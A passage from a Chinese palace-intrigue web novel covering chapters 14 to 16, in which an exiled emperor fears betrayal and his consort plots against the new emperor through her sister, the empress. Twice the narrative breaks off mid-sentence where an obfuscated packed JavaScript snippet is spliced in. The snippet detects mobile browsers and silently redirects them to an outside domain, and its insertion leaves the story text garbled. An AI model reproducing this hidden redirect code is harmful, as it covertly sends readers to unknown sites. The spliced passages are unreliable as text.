即便张道恭依然坚持称帝,即便他仍然继续册封他的后妃和宰相,史书里也只会再称他们为“南楚”而已。
真正的大楚帝国,其实早就已经彻底结束了。
他带着他的残兵败将文武臣官们,带着昔日大楚帝国最后的一点希望,偏安寄居于岭南的一隅,希冀着在此处招兵买马、积蓄实力,而后能够重返中原,夺回那个从前就属于他们张家的天下。
前阵子,在他的亲力游说拉拢之下,又以他答允册封了薛坚明的一个女儿做贵妃为条件,他终于成功说动了隔壁州郡始兴郡的郡守薛坚明反叛周奉疆,帮助他夺得了又一个县邑临武。
这还是他流亡岭南两三年来,他的复国龙兴之业取得的最大的进展。
他本应为此感到欢欣鼓舞,在此基础上推进他的雄图伟业,但是,实际上张道恭近来的心情反而很差。
——因为远在长安的周奉疆,撤掉了将楚魏占据胶着在岭南一带停滞不前的上任主将,改调了对岭南地域更为了解的驸马韩孝直担任交州司马。
韩孝直对这偏安龙编县的南楚最后的朝廷构成了极大的威胁。
他倒果真不愧是祖籍岭南之人,对岭南之地风俗民心了如指掌。
初到岭南不久,他不急着练兵布阵,反倒是带着自己的弟弟韩孝民日日接见各县镇僚人长老首领,对他们晓之以情动之以理,拉拢人心。
他们兄弟二人一再劝那些土著僚人们一心归顺大魏朝廷,让他们不要再与南楚伪帝的流亡朝廷们多有往来,最好彻底和他们断绝关系。
韩孝直又劝那些俚僚土著们说,只要他们一心表现出对长安的大魏皇帝的忠诚和顺服,同魏军一起剿灭南楚余孽,大魏皇帝将厚厚地赏赐他们金银珠宝,不仅能任命他们自己的长老担任州郡的长官,还会选拔他们俚僚中的优秀青年才俊去国都长安担任官吏。
——看,我韩孝直自己不就是岭南僚人的血脉么?你们看,我跟随了大魏皇帝之后,我果真做了高官,当了将军,封了侯爵,还能娶了公主当上驸马!这可都是皇帝的恩德!
你们不归顺长安的大魏皇帝,反而和这败家之犬一样的南楚伪帝张道恭厮混在一起,张道恭又能给你们什么呢?
韩孝直劝完之后,他弟弟韩孝民也跟着极言相劝说,父老乡亲你们看,自从我哥哥跟随大魏皇帝陛下、得到了功名利禄之后,连带着我这个弟弟也跟着哥哥享福,给自己身上谋取了官职,如今我过得何其风光呢!更不谈你们如果诚心归顺,又能得到我们大魏皇帝陛下何等的厚待!
14. 第 14 章
当地僚人们一听,面面相觑一番后,竟然果真觉得韩孝直、韩孝民兄弟二人所说很有道理,也为此心动不已。
于是韩孝直又说,大魏皇帝陛下还有厚赏,既然当地僚人们熟悉本地的山川地貌、晨夕气候冷暖,那么你们谁要是能主动帮助魏军抓住流窜在山岭之间的南楚小朝廷的高官武将,皇帝皆有重赏。
尤其是,不论是谁,能生擒南楚伪帝张道恭者,陛下封之开国公,让其享食邑三千户。
自从韩孝直兄弟二人放出这些话之后,那些见风使舵的僚人们果真开始跃跃欲试、蠢蠢欲动。
就连已经反叛南楚的始兴郡郡内,也多了许多窃窃私语、嘈杂议论的声音。
再者,那所谓的“谁能抓到南楚皇帝、谁就能被封为开国公”的话,其实未必是说给魏军将士和僚人们听的。
张道恭心知肚明,周奉疆命人给出的这种“悬赏”,实则针对的不过是如今他自己身边的人罢了!
最容易接触到他的,可不是外头的那些僚人土著,而是日日夜夜跟随在他身边、侍奉他饮食起居的心腹!
周奉疆是想用这样令人咋舌心动的封赏来动摇他身边人的意念,煽动他的近臣亲卫们出卖他,瓦解他好不容易积蓄保存至今的力量。
偏偏,就是这样的财帛利益,最能摇摆人心啊。
是以,这些时日里,张道恭越发得疑神疑鬼、心绪不宁,简直到了快要寝食难安的地步了。
他现在看见自己身边的所有人,都怀疑他们有可能来暗害他,怀疑这些人早已被韩孝直收买了要背叛他!
昨日黄昏时,张道恭在天子营帐外神情惘然地眺望着北方的故土,忽见离他有百步远的地方,有两个亲卫拔了佩刀,他顿时惊慌失措,跌跌撞撞步履蹒跚地向营帐内奔去。
一边疾奔,他还一边高呼“逆臣欲谋害朕”,惊得左右守卫和侍婢们面面相觑,不知所谓。
原来是张道恭瞥见有人拔刀,就误以为这些人想要谋害他,想要绑了他把他交给韩孝直,拿他去换那“开国公”的爵位。
后来虽然弄清楚了,那两个拔刀的侍卫只是抓住了两只野鸡,想要宰杀野鸡给自己开个小灶果腹而已,并没有什么对天子不忠不臣的想法,但仍然令张道恭杯弓蛇影一般惧怕了许久。
此时,张道恭正满目怆然地坐在书房里,望着书房墙壁上那副硕大的山川州郡堪舆图时,他近日才刚新封的妃子,薛坚明之女薛贵妃,一身樱粉色的长袖襦裙,莲步依依地挪了进来。
薛贵妃今年也才不过十五岁,两个月前刚在家中过完了及笄之礼,实则还是少女心性,天真娇憨的年纪,哪里懂什么张道恭的“最是仓皇辞庙日”的亡国恨,只知道整日想方设法地围着自己的皇帝丈夫转,哄自己丈夫开心。
她今日又端来一盅腊肉鲜笋老鸭汤,娇娇俏俏地捧到张道恭跟前来,唤了一声“陛下”,把汤匙递到他跟前:“妾今日特意给陛下炖的老鸭汤,陛下不尝尝吗?妾往日在家中总做给父母尝的,家中父母都说鲜美非常。陛下,您就……”
张道恭哪里有什么心情应付她,不过是碍于她父亲的颜面,好不容易强打起精神尝了一口,敷衍了她两下,而后就寻了个由头让她出去了。
薛贵妃自是不肯,又嘟着嘴巴朝他怀里蹭,正当这时候,有宫婢通传了一声,说是周淑妃来了,淑妃娘娘有话要和陛下说。
薛贵妃见有旁人来,而张道恭的神色也严肃了不少,当下不敢再胡闹,有些委屈地站起身来,理了理自己的裙子。
她虽年纪比周淑妃小了数岁,但却是实实在在的真贵妃,在贵淑德贤四妃里位分高于淑妃,所以周淑妃来了,自然还得守着规矩也给她行礼。
薛贵妃坦然受下这一礼,而后张道恭便催她出去了。
淑妃神容淡漠而凝重,瞧她这幅样子,仿佛是真的有什么重要的事情要和皇帝说,薛贵妃只得步步不舍地退了下去。
二人擦肩而过的那一瞬间,淑妃用余光深深地看了她一眼,那眼神复杂地让薛贵妃根本读不懂是什么意思。
在男人眼里,女人年纪小又漂亮,那么自然会喜欢她懵懂烂漫的稚气;
可是面对跟了自己许多年的,年岁稍长、脱离了少女清纯的女人,也会喜欢她的沉稳和端庄,和这样的女人在一起,是安心的,省力的,不用像对待小女孩一般花费心思迁就她的脾气。
淑妃过来的时候,张道恭那隐藏着的不耐烦的神色反而消散了许多。
他靠在椅背上,十分疲惫地叹了口气:“婈珠,你来了啊,坐吧。”
周婈珠俯首谢了恩,姿态端庄地在皇帝下手处的一把椅子上坐了下来。
她穿的素净,发间也没有几样装饰的簪钗,就连两只手腕上都是空空荡荡的,身为堂堂皇妃,实在清淡得几乎到了寒酸的地步了。
可不是寒酸么?
恐怕,如今长安洛阳两京里富商们家中的妾室,都是满头珠翠钗环,遍身绫罗绸缎,比她这个跟着亡国之君流浪在外、如丧家之犬般的所谓皇妃要体面不知多少倍了吧!
其实她年少待字闺中时,也美丽得如芙蓉海棠一般娇嫩,她今年也还很年轻,也才不过二十来岁啊,尚处在一个女子最美好的花信年华之中,若不是因为常年的奔波逃命,她也不至于沧桑得像是三十多岁的妇人一般。
自己的女人面黄肌瘦般憔悴,张道恭面上当然也不好看,不由得多宽慰了她几句,还叫人去翻一翻他那快要见底了的库房,叫人取一对玉镯给淑妃。
婈珠心下苦笑又凄凉,连忙不着痕迹地打断了皇帝的话。
“陛下!妾身知道陛下近日的愁思,妾明白陛下的忧虑。那韩孝直,当真是其心可诛,他这是要挑唆撺掇陛下身边之人背叛陛下啊!”
自古以来,位居高位者,最忌讳最害怕最防不胜防的,不都是这个么?
张道恭听她说起,又是一阵重重的叹气。
婈珠又压低声音上前对他说:“妾身等人,与陛下左右的亲卫随从、宫娥内监、文武臣僚,都是追随了陛下多年的老人了,妾等对陛下忠心耿耿,一心只待陛下复国之日,永不敢背弃陛下,此心天地共证。”
张道恭的脸色缓和了些,拍了拍她的肩膀:“朕都知道。朕明白你的心,你跟着朕的这些年里,也受苦了。”
婈珠继而又道:“跟了陛下时日长的人也就罢了,陛下最该防的,到底还是那些刚来不久却又能近陛下身的人,这些人……谁知道他们的心思呢?保不齐这些人之所以想法子混到陛下身边来,就是居心叵测、心怀不轨。”
她言下之意说的已经非常清楚了,就是在说薛贵妃和薛贵妃从始兴郡娘家带来的那些人。
是在跟皇帝挑拨说,哪怕有人会暗害皇帝,这些人也最有可能潜伏在薛家的人当中。
张道恭略略沉吟了片刻,并没有回答婈珠话里暗示的意思,而是转而问她:“淑妃啊,你方才说有话要和朕说,就是说这些吗?”
婈珠盈盈一笑,摇了摇头:“妾想跟陛下说的是,妾日夜思量,却是想出了一计,或许可以助陛下以其人之道换其人之身,反将周奉疆一军。”
张道恭掀了掀眼皮,眼前倒是一亮:“是何计谋?阿婈,你说给朕听听吧。”
婈珠轻声细语,语气还是那个不紧不慢的样子:“周奉疆命韩孝直在此散播流言,以开国公的爵位意欲鼓动陛下身边之人为利而背叛暗害陛下,实则陛下实在不过为此忧心。妾身以为,此计不过下策
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15640957|172711||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
耳!如今正因韩孝直此举,陛下和妾身等都对周身之人严加防范,做足了完全的打算,更不会让人轻易害了陛下圣躬。”
被她这样一说一哄,张道恭的心情一下大好,仿佛聚拢在他头顶多日的乌云也一下被她的纤纤素手顿时拨开了似的,不可谓不是云开月明。
她就是有这样的好处,虽然从来都不是最美丽的,最年轻的,最娇艳的,最会讨人喜欢的;虽然她平日里素净清淡地几乎失了一切光彩,但正因如此,她身上总有一种令人安心的力量,似乎只要在她身边,心就是宁静的。
就连她说的话,也都能挠到人的心尖上去,入情入理,叫人舒坦。
很多年前,也只有她的妹妹媜珠才能让他有同样的感受。
可惜……那个女人已经离他很远很远了。
张道恭连连笑了笑:“阿婈此言,甚得朕心。”
见他露出笑意,婈珠也垂眸浅笑,又道,“陛下真龙天子,周奉疆那起子奸贼逆党们自己伤不得陛下,所以就想挑拨陛下的身边人……不过,既然周奉疆能命韩孝直这么做,那么妾身以为,咱们未尝不能效仿此举,也能从周奉疆那逆贼的亲近之人处下手,寻一个人,替咱们在千里之外的长安城里了结了他的性命。千防万防,身边人难防,不就是这个道理?”
她一双寡淡的柳叶眼里渐渐浮动着阴毒的怨恨之意,“陛下试思此理,周奉疆既无亲子,又无兄弟,若他现下一死,长安必大乱,陪都洛阳也会大乱,继而中原大乱。陛下趁此机会,兴王道,谋复国之业,岂非千载难逢的好机会?只等周奉疆一死,长安报丧于天下,天下再度群龙无首,谁人不当再尊陛下为国主?大楚江山国祚未尽,逆贼一死,九州州郡还再盼陛下共治呢。”
张道恭何尝不明白这个道理呢?
他这辈子想要再回到长安,回到他的国都洛阳,只有等周奉疆死了他才能做到。
假使现在周奉疆真的能忽然暴毙而亡就好了!
让周奉疆那固若金汤的天下因他的死而动乱,他们这偏安一隅苟延残喘的南楚小朝廷才有机会乘乱而起,再度谋天下共主的地位。
昔年安史之乱时,若非安氏、史氏皆父子相残,致使安禄山、史思明皆死于非命,恐怕肃宗皇帝也不可能那么快平定这场叛乱吧!
安禄山称帝过,史思明也称帝过,可是后来这些人不还是一个个都死了?天下不还是最终回到了李家大唐的手上?
所以,哪怕周奉疆现在称帝了,也保不准他能在那龙椅上稳坐几年!
张道恭也在等,等着周奉疆就这样不得善终身亡命殒。
然而……
张道恭皱了皱眉,望向婈珠:“阿婈所言,亦朕之意。然如今想从周奉疆身边之人中下手,未必容易啊。”
周奉疆身边的亲信,谁身上不担着一点从龙之功?谁现在不是非富即贵?
他们好不容易盼到自己的主子登基称帝了,自己也跟着一夜之间飞升权贵,正是人生得意畅快的时候,这个时候许以重利去找他们再暗害周奉疆……
别说他们能不能有这个机会去干;就算有,他们凭什么要冒着灭族抄家的风险去答应呢?
能在周奉疆身边侍奉的,谁都不是没脑子的蠢货。
婈珠轻轻一哂:“陛下!妾身的意思是,这样的事不必费时费力、以金银财帛之类的去收买旁人,如今正有一个现成的人,她本来就比谁都恨周奉疆,她若能知道陛下的意思,一定会帮陛下达成心愿的。”
“你说的是谁?”
婈珠顿了顿,撩起自己的裙摆,跪伏在地,抬首望向张道恭的神色是前所未有的严肃和认真:
“妾身的三妹妹,如今长安城里的所谓赵皇后,周媜珠。”
15. 第 15 章
张道恭顿时愣在了原地,良久没有再说一句话。
过去了这么久,已经很多很多年没有人再向他提起那个女人的名字了。
她承载了他年少时的所有爱恋与抱负,是他时至今日仍然念念不忘的最心爱的女人,也是他人生中第一次尝到的挫败的滋味。
后来想想,他大半生的失败与困窘,原来都是从失去她开始的。
从一开始,他护不住自己心爱的女人,眼睁睁看着她被别人从他身边抢走;
到后来,他守不住自己的天下江山,又同样看着他的国都洛阳落入了别人的手里,自己只能仓皇出逃,沦为史书笑柄。
在张道恭神思惘然时,周婈珠还是那样一动不动地定定跪在地上,有些固执地扬着脖颈看着他。
她感到一阵心碎和疼痛,因为她从面前这个男人的神色里看到了怀念、痛苦和求而不得的愤懑。
哪怕这些年里陪在他身边的是她,他心心念念的,也还是她的三妹妹。
当年他失去她妹妹的时候,她妹妹周媜珠也正是十五六岁的年华,如今见到同样娇艳的薛贵妃,在看着同样懵懂而纯粹的薛贵妃的时候,他是否透过这个女人,想起了当年的周媜珠呢?
周婈珠不忍细想。
想得越深,凌迟的都是她自己的心。
周婈珠并没有在张道恭的书房里停留得太久,很快便离开了。
回到自己的小院子里,周婈珠抬手唤来自己的一个亲卫段充,这人还是她当年从冀州老家带来的侍卫,几乎是她现在唯一还可以信任和使唤的人了。
——细细说起来,当年张道恭所爱者并不是她,那么她是怎么嫁到洛阳、嫁给还是河间王的张道恭的?
那还要从当年周奉疆把已经上了花轿嫁出去的周媜珠抓回冀州说起。
*
周奉疆从那会开始,就没把张道恭这个所谓的河间王放在眼里,更没把大楚天子放在眼里,完全不给他们张家半点脸面。
张道恭寡不敌众,虽然亲眼看着自己的新娘子被人掳走,但最终只能狼狈地逃回洛阳。
他没能偷偷带着周媜珠逃走,到了洛阳,见到他自己的老皇帝父亲后,他又施一计,旋即奏请老皇帝为自己和俪阳公主之孙女、先冀州侯周鼎之女赐婚,老皇帝也允下了,而后就让宫里的宦官带人前往冀州宣诏,赐封周鼎之女为河间王妃,想要将周氏女带回洛阳去。
张道恭是估量着,周奉疆就算再大逆不道,也不敢在明面上抗旨不尊,驳了皇帝的颜面,必须得乖乖再把周三娘子交出来,否则,天下诸侯皆可以此为借口讨伐他。
不过事实上,周奉疆似乎仍然并不在乎。
天子派来的宦官来到冀州后,他就让手下的人打发他们走,还叫那些手下去敷衍宦官说:“圣上要封我们家三娘子做河间王妃?哎呦,真是不凑巧,我们三娘子前月里就病死了。”
反正三娘子是死是活都是周奉疆自己一句话的事情,北地冀州是他的地盘,洛阳来的太监们能拿他怎么办?
这可就不怪他抗旨不尊了。
然而,当时又有一些周奉疆的幕僚军师们献计苦劝他说,主公现下宜韬光养晦,不能对天子使者不敬,否则落人口实,岂非坏主公之清名、损主公之大业?何况周三娘子不过一女子而已,如何能与主公之宏图霸业相比?河间王既索之,给他又何妨?
周奉疆还是不理。
他根本就没把这些所谓的名声和所谓的威胁放在眼里。
还是她周婈珠自己主动撞了上去,找到了周奉疆。
她说,她可以解他之难。
——那就是让他把她当做周媜珠,送去洛阳嫁给张道恭。
反正张道恭要娶的是周鼎的女儿,周媜珠是周氏女,难道她周婈珠就不是周氏女了么?
索性让他送一个周氏女给张道恭,老皇帝和张道恭还有什么理由对着他发难?
周奉疆在周鼎死后兵变夺权时,虽然对周鼎的儿子、兄弟、侄儿们都一副赶尽杀绝的做派,但是对她们这些没有丝毫威胁的女人,他倒是懒得管也懒得杀。
在他看来,只要她们不整日哭哭啼啼地出来闹事让他烦心,他也仍旧把她们当做养父的女儿一样好好养着。就算把她们嫁出去,也照例贴上一笔丰厚嫁妆,绝不亏待。
所以,既然是周婈珠自己提出要让她嫁张道恭,周奉疆看她一副愿意得不得了的表情,正好也给自己省了点烦心事,遂也没多说什么,打发了一笔丰厚的嫁妆财宝,让她自己在周家选了些陪嫁奴仆,就这么送客一样把她送出了冀州。
洛阳来的那些宦官们虽然知道里头不对劲,知道河间王要的是周三娘子而不是周二娘子,但是他们为了交差,也管不得那么多了。
——就像婈珠自己说的那样,弄一个“周氏女”拿过去应付差事就行了,谁管你是周二娘而是周三娘?
于是,婈珠便在十九岁那年来到了大楚的皇都洛阳,见到了她以为自己此生再也见不到的心上人,张道恭。
然后,她就在张道恭的眼里看到了前所未有的失望。
原先说好的要娶周氏女做河间王妃,等他发现他娶到的是她之后,她也变成了一个河间王侧妃了。
他只肯用一个妾室侧妃的名分来打发她。
但婈珠依然不后悔,她甘之如饴。
至少她是幸运的,她还是嫁给他了。
原本,这是只有她那金尊玉贵的三妹妹才能碰得到的男人,原本这个男人的眼里也从来都只有她那三妹妹。
可是现在,三妹妹被周奉疆那个娼妓之子强占侮辱,而她这个庶女,终究是嫁给了凤子龙孙、血统尊贵的河间王!
想到冀州的三妹妹在那奸人贼子的侮辱之下,必定早已失贞,夜夜过着生不如死的生活。
而她却终究堂堂正正地来到了繁华富庶的国都洛阳,站在了河间王的身旁,成了河间王的女人……
她觉得自己还是为三妹妹感到唏嘘的,也确实心疼三妹妹的遭际,然而很多时候,她还是为自己的好命而窃喜。
成为河间王侧妃的三四个月后,老皇帝愈发病重垂危,立爱子河间王为太子。
她则成为了东宫太子的周良娣。
又仅仅三个月后,老皇帝崩逝,太子张道恭登基。
他虽还未立皇后,却册封良娣周婈珠为淑妃,位分仅在皇后与贵妃之下,而那时他又没有贵妃,所以她实际上成为了他后宫中地位最高的女人,也暂时享有了协理六宫的权力。
在她成为皇妃之后,张道恭按照前例追封了她那早已去世多年的妾室生母为“陈国夫人”,也追封了她的外祖父和外祖母。
这些都是周媜珠的母亲、外祖父母所没有的。
婈珠忽然意识到,这样一算的话,她不仅是张道恭身边最重要的女人,也是整个天下最尊贵的女子。
她真的赢了。
这是她过往近二十年人生中,最快活的一段时日。
可惜,可笑的是,上天从来都不眷顾她,哪怕她好不容易赢了,也只让她赢这短短的八个月。
八个月,她做了八个月的皇妃,做了八个月天底下名分最尊贵的女人。
她那时并没有意识到,张道恭所拥有的天下,是一个动荡不安、叛乱频发的天下,她也并不知道,当时的张道恭,身为皇帝,政令都已经难出洛阳了,还算个什么皇帝?
地方上诸侯枭雄节度使们,各个手握兵权,截留赋税,哪个不是富得流油?哪个不比这个穷困潦倒的大楚皇帝风光体面?
八个月后,蔡州节度使温思程第一个起兵谋反,蔡州叛军一路势如破竹,直到他攻入了洛阳城下,各地守将皆求自保,竟无人敢阻拦。
张道恭只能在惊惶之下,如丧家之狗般弃了国都洛阳,带着洛阳城里的后妃宫嫔、皇亲国戚、文武官僚们弃城逃窜。
其形其势,如当年逃离长安的唐玄宗别无二致。
从那一刻起,婈珠便一下跌落了枝头,至此失去了从前优渥自得的生活。
也是在逃亡的这一路上,她见证了自己此生从未见过的所有炼狱一般的惨剧,就连她自己,也是频频死里逃生……
她见过有一个怀胎九月突然临产的王妃,因为行动不便,被她的丈夫抛弃在了路边,最终横死;张道恭的叔父江陵王在山路上把自己的女儿卖给了乡野鳏夫农户为妻,只为给自己换一碗稀粥果腹。
更有数不清的公主王妃、妃妾宫娥、贵妇千金、舞姬伶人,不明不白地都在路上消失了。
有的人,你昨天还曾在路上见到,第二天,她就忽然不见了。哪怕她们不见了,也没有人再去找寻过。
有的是死了,更多的是被人掳走了,被沿途的地痞乡匪、叛军流氓、乞丐流民……
就连她自己,也是屡次险遭贼手,她从前身边的宫女们,最终一个也找不到了。
甚至有一次夜里,她亲眼看到山路边的浓密野草丛里忽然冒出了几个山匪模样的粗鄙流氓
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15640958|172711||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,形状无比猥琐,几乎令人作呕,就这么趁乱拖走了张道恭的一位才人。
而张道恭得知此事后,根本就懒得过问,仿佛这种事情对他来说早已司空见惯。
其实那天夜里,那几个猥琐山匪本来想拖走的人,大约就是她自己,若不是当年那个从冀州带来的亲卫段充一路忠心耿耿地护着她安危,她也不知自己此刻应该是在何处受辱了!
恐怕正是因为没能趁乱拖走她,所以他们才临时改变了目标,将手伸向了她旁边的那个沈才人。
而在她这样艰辛逃难的时候,她的妹妹周媜珠,又在做什么呢?
——她嫁给了周奉疆,做了周奉疆的正妻,冀州节度使夫人,被周奉疆金镶玉裹得跟个宝贝似的养在冀州家里,没受过半点的委屈。
周氏一族盘踞冀州近百年,而乱世五十余年中,外头的战火和狼烟从没有飘进冀州城的一日,没有惊扰了那个天生好命的女人半下。
她才是真正的不识人间疾苦。
人和人真的是不一样的,哪怕同是一个父亲所生的女儿,也会过着天差地别的人生,是么?
还是说,就因为周媜珠是正妻赵氏所出,而她只是她父亲的妾室所生,她们就应该过着这样天差地别的日子?
就因为不是正妻所生,所以她这一生就应该被命运戏弄,只能目眦尽裂地看着周媜珠一辈子顺遂无忧?
周婈珠不服命。
*
正在她恨得咬牙切齿的时候,侍卫段充在门外给她叩首行了礼,他过来了。
婈珠连忙敛去面上的愤恨与嫉妒之色,垂首端起手边的茶盏,轻声唤他进来。
段充俯身入内,单膝跪下:“娘娘。”
还不待婈珠先说话,段充又先开了口:“娘娘,臣这几日在山岭间捉了几只野鸡野兔,已经叫人去烹煮了,娘娘多用些吧,正好补补身子。臣还在山崖间寻了两只野山参,可以给娘娘炖在野鸡汤里……”
张道恭现在穷得快要叮当响,跟着他的这些亡国之臣们,也几乎要吃不起饭了,不论男人女人,几乎各个都饿得面黄肌瘦的。
谁让他现在丢了天下州郡,没有地方的赋税可收,当然就穷了。
为了填饱肚子,张道恭也早已默许这些侍卫守将们隔三差五出去打猎,寻点野味来吃。
婈珠对段充所说的并没有十分感兴趣,她只是随意点了点头:“是么?那正好,叫人晚些时候把那山参炖的野鸡汤送到陛下的营帐里去,就说是我为陛下准备的,叫陛下务必多用一些。”
说完了这话,她这才对段充说起正事:“你来得正好,这几天你且不必日日都去林子里打猎了,我这并不缺这一两口野食吃。如今我有一件更要紧的事交代你去办。”
段充闻言便垂下眼睛:“但请娘娘吩咐。”
婈珠笑了笑:“你是和我从冀州老家来的,你从前应该也认识过韩孝直兄弟二人吧?”
段充答是。
当年他们这些人,都是因为身强体壮,善于马上骑射功夫,这才断断续续地从各地跑去投奔先冀州侯周鼎,被他收入麾下,谋一口饭吃。
从前,他和韩孝直、韩孝民兄弟二人,还曾经在一个军营的营帐里打过铺盖的。
不过后来,他们当中,混得最好的还要数韩孝直。
能一跃从一个小小军卒成为手握符节的将军、做了公主的驸马,这逆天改命的本事,不是谁都能学得来的。
婈珠说了句很好,又意有所指地对他说:“那你应该知道吧,这韩孝直、韩孝民兄弟二人,看似面上和睦,实则内里也是各有龃龉,未必那么兄友弟恭呢。”
段充一愣,又低头答是。
婈珠脸上的笑意更深,抬手对他招了招,让他膝行上前,她有真正紧要的事要附耳对他低声说。
她抬手时,似乎有隐隐的清淡幽香从她袖口里钻出来,像是在朝他面上扑去似的。
段充听完后,也是一阵长久的沉默。
周婈珠又问他:“告诉我,你能做到么?”
段充咬牙应下,“臣定不会让娘娘失望的。”
婈珠望着他离去的背影,不觉露出一个十分安心的轻笑。
还好,还好,人生落到这个田地了,没了父母的庇佑,没有丈夫的一心宠爱,没有子女作为依仗,没有显耀的尊荣名分……但是好歹她还有段充。
好歹她还有一个段充可以使唤,好歹她还有一个这样的心腹,一个永远都会忠心于她的人。
16. 第 16 章
媜珠近来又有些消瘦了。
冬日里被裹在毛绒绒的白狐裘衣里的她,看上去简直娇小只剩下那么一团。
她本就是身量纤细的人,只要身上稍微掉了点肉,总是容易叫人发觉。
皇帝有时在床榻间托起她纤细得不盈一握的腰肢,也会在|情|欲|纾解之后再度对她皱起眉头:“媜媜,你又瘦了。是近来膳房做的饮食上不合你胃口?还是有什么不高兴的事?”
媜珠浑身绵软地仰躺在轻柔的丝被上,浓雾一样细密的长发铺了满枕,她满面潮红,细细地喘息,下意识地否认了皇帝的所有猜想:“没有……”
她费力抬起雪白的手臂,抚上皇帝紧实宽阔的肩膀。皇帝身上有很多的伤疤,新旧交叠,纵横交错,虽然都已经愈合,仿佛成了他过往岁月的一段沉寂的见证,但是亲手触摸上去,仍然是刻骨铭心般的让人心悸。
媜珠在心里寻了个由头,低声向皇帝解释道:“如今正是腊月的年关节下,宫里宫外诸事繁杂,妾有时多忙了些,所以恐怕才略有清瘦。并不是什么要紧的事情,何劳陛下如此担心妾身?”
这回答还并不能让皇帝放心,他仍旧不悦:“纵使是年关里,宫里宫外的事情再多,内司省的人自己办不好,反倒让你身为皇后跟着受累?”
听他这意思,他大约又要迁怒到内司省里的人身上,媜珠连忙又是劝阻:“陛下!内司省的人并没有办事不尽心的,只是他们到底是奴才,许多事不该由他们拿主意,所以才要多到妾这里来问一问而已。这是为着刚立国的几年里,咱们凡事没有个成例罢了,以后时日一长,他们该知道每年什么规矩,也不会问到妾这里来了。”
媜珠都说到这个份上了,周奉疆终于也不再为此事多说什么,只是叫她以后不必过于操劳,一日三餐间也要多吃些。
他俯首在媜珠披散的发丝之间,轻嗅着她发间的淡淡香气,忽然又出声问她:“朕总觉得……自那日你母亲和婶母她们入宫看过你之后,你就有些不大高兴的样子。可是赵国公家里有什么烦心事了?”
媜珠柔软的身体在他|身|下|僵硬了一瞬。
片刻后,她仍旧笑得十分柔婉,双手抚了抚皇帝的脊背,又轻声说:“哪有呢,见母亲她们一次,妾高兴还来不及,怎会因此不悦?陛下想来是误会了。”
皇帝也笑了笑,和她说话时的语气还是平日里的样子:“朕只是听椒房殿里的宫人们说,你那日不许旁人留在殿内,是关起门来和襄国夫人她们说了好半天的话,朕还以为媜媜是有什么要紧的事和岳母她们说呢。”
这是皇帝对她的试探。
媜珠在一瞬间觉得自己的头皮几乎都发麻了。
她强行忍下心脏的剧烈跳动,努力不让自己的情绪显得异常,脑海里思索片刻后,也同样装作一副若无其事的表情和皇帝说:
“妾关起门来说话,不过是多问了母亲和婶母几句,问问家里的侄儿侄女们读书可有进益,问起家里的小辈们有没有什么纨绔子弟的作风,可有整日不习圣贤书、只知图玩乐的败家子弟。从前每次请母亲她们入宫说话,每每一问起这些事,母亲她们都是满口说好。可我总觉得她们是怕被宫人们看了笑话,故意只在人前说好话骗我罢了,所以这次关起门来问两句,叫她们不必瞒着我,更不必只报喜不报忧。”
这倒是和襄国夫人那日跪在皇帝跟前说的,也差不了两句。
皇帝这时尚且没有真的怀疑媜珠知道了些什么,也许是因为他太过自负,在他的心里,媜珠仍然是那个温顺乖巧的媜珠,是一只纯白无害的兔子,一个永远只能依附着他的美丽却柔弱的女人。
是以,当他亲口又问了媜珠一遍,听到了媜珠此番解释后,心头的疑虑便越发平息下去,懒懒地嗯了声,“那这次岳母是怎么告诉你的?”
媜珠笑:“母亲还是都说好呀,说家里侄儿侄女们没有不听话的。然后我就跟母亲说,我是见不得家里人仗着我做了皇后,便恃强凌弱、在外头生起纨绔子弟的作风的。家里要真有这样的祸害,把他送进宫来,我亲自教训一顿。”
皇帝亲了亲媜珠娇艳的唇瓣:“朕的媜媜果然最是明事理懂礼义的人,是朕天下万民的好皇后。”
皇帝身上的阳气颇重,冬日里他身上热气也重,而媜珠自当年受伤病了一场后,就有些气血亏虚,容易手足发凉,因此每到秋冬之节,她总喜欢窝在他宽阔的胸膛里,汲取他的体温来温暖自己。
片刻后,皇帝又神色自若地对媜珠说:“以后若无什么大事,还该叫佩芝她们守在你身边伺候你才是。何况佩芝也是你当年从赵家带来的人,就算赵国公府里有什么私事要让岳母说,避着旁的宫人就算了,佩芝她们有什么可避的?到底你是皇后,怎么能手边连个端茶倒水的人都没有?”
媜珠还是笑着应下,她主动凑过去亲了亲皇帝的下颌:“妾知道了,妾以后都会听陛下的话。”
这一番事后的温|存与亲昵后,皇帝便没再说话,搂着媜珠睡下。
媜珠在他怀中,却是多年来第一次失眠了。
她微微睁着一双眼睛,在这黑夜里久久无法入睡。
她忽然有时会感觉到,她和皇帝这对君臣夫妻,是不是也不过就是那么一回事?是不是根本也没有世人想象中的那么恩爱、没有那么多真心?
皇帝对她的每一次异常举动都是提心吊胆一般的试探,而她对她的皇帝丈夫,渐渐也学会了虚与委蛇的欺骗。
为什么呢?为什么很简单的事情,彼此不能开诚布公地谈一谈,把话都说清楚就是了;为什么要在这样肌肤相贴的温存之后,互相“各怀鬼胎”地说出这么多试探彼此的假话来?
不知道从什么时候开始,或者说——大约就是那次她因为兖国公主一事,在宣室殿里昏迷了之后,她也逐渐对皇帝生起了这样的防备之心,总是十分抗拒让皇帝探查到她的内心、她的真实想法。
